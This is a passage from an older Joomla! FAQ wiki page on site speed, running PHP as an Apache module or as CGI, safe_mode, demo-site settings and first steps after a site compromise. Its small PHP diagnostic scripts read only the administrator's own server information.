# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 &#039;&#039;Dormant&#039;&#039;] since August 2010)&lt;br /&gt;
&lt;br /&gt;
*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
